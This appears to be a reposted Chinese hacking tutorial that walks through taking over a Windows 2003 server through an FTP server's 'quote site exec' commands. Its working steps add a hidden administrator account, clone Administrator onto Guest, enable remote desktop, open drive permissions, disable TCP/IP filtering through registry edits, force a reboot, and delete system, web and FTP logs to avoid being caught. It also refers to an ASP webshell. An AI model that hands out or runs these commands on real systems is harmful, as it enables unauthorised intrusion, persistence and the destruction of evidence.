注册
登录
| 关键词： quote site exec reg regedit 表里 命令 exe comet Services |
quote site exec net user comet 123456 /add '添加用户comet quote site exec net localhost administrators comet /add '把用户 comet 添加到管理员组 quote site exec tskill PID '在 Win 2003 中通过 PID 关闭进程quote site exec tskill notepad '在 Win 2003 中通过名称关闭同类的进程 quote site exec net stop iisadmin '停止 iis 服务 quote site exec net start iisadmin '启动 iis 服务 quote site exec "net.exe user start telnet" 命令 quote site exec Aio.exe -Terminal 3389 在这里输入 不过注意下 那个是FTP下运行的命令 所以要在前面加上quote site exec这个才可以 OK 开了 在用这个命令Aio.exe -Clone Administrator Guest 83073645克隆帐户 也可以用之前的直接 登陆也可以 OK 到这里提权就完毕了 接下来的自由发挥了 走的时候别忘了擦PP咯 不然给人抓了 我可不管了 那边的是我用GUEST帐号登陆的 忽忽 清楚系统的日志掉了 可以的话 大家自己找找WEB的日志还有FTP的都要删除掉 我就不演示了 就到这里 相关命令：Aio.exe -Clone Administrator Guest 83073645Aio.exe -Terminal 3389 quote site exec "cacls.exe d: /e /t /g everyone:F" #把d盘设置为everyone可以浏览这样一会导出文件放D盘就可以下载了... quote site exec "regedit -e D:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip" #导出注册表里关于TCP/IP筛选的第一处 （-e D:\1.reg 导出后放在D盘下，文件1.reg） quote site exec "regedit -e D:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip" #导出注册表里关于TCP/IP筛选的第二处 quote site exec "regedit -e D:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip" #导出注册表里关于TCP/IP筛选的第三处 全部导出了，然后回ASP马，把三个下下来... 编辑一下，把关于TCP/IP筛选的几个地方改一下，首先打开1.reg找到"EnableSecurityFilters"=dword:00000001把最后面的数字1改成0后保存，然后更改2.reg,3.reg，更改方法一样.改好后保存... 然后上传，覆盖... OK..... 在回来FTP命令下.... quote site exec "regedit -s D:\1.reg" quote site exec "regedit -s D:\2.reg" quote site exec "regedit -s D:\3.reg" OK......... 导入后要从起，，， 那我们让他从起吧... quote site exec "iisreset /reboot /timeout:00" #利用他自身的iis服务来重新启动他的机器，/timeout:00这个参数是让他立即重新启动.. |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
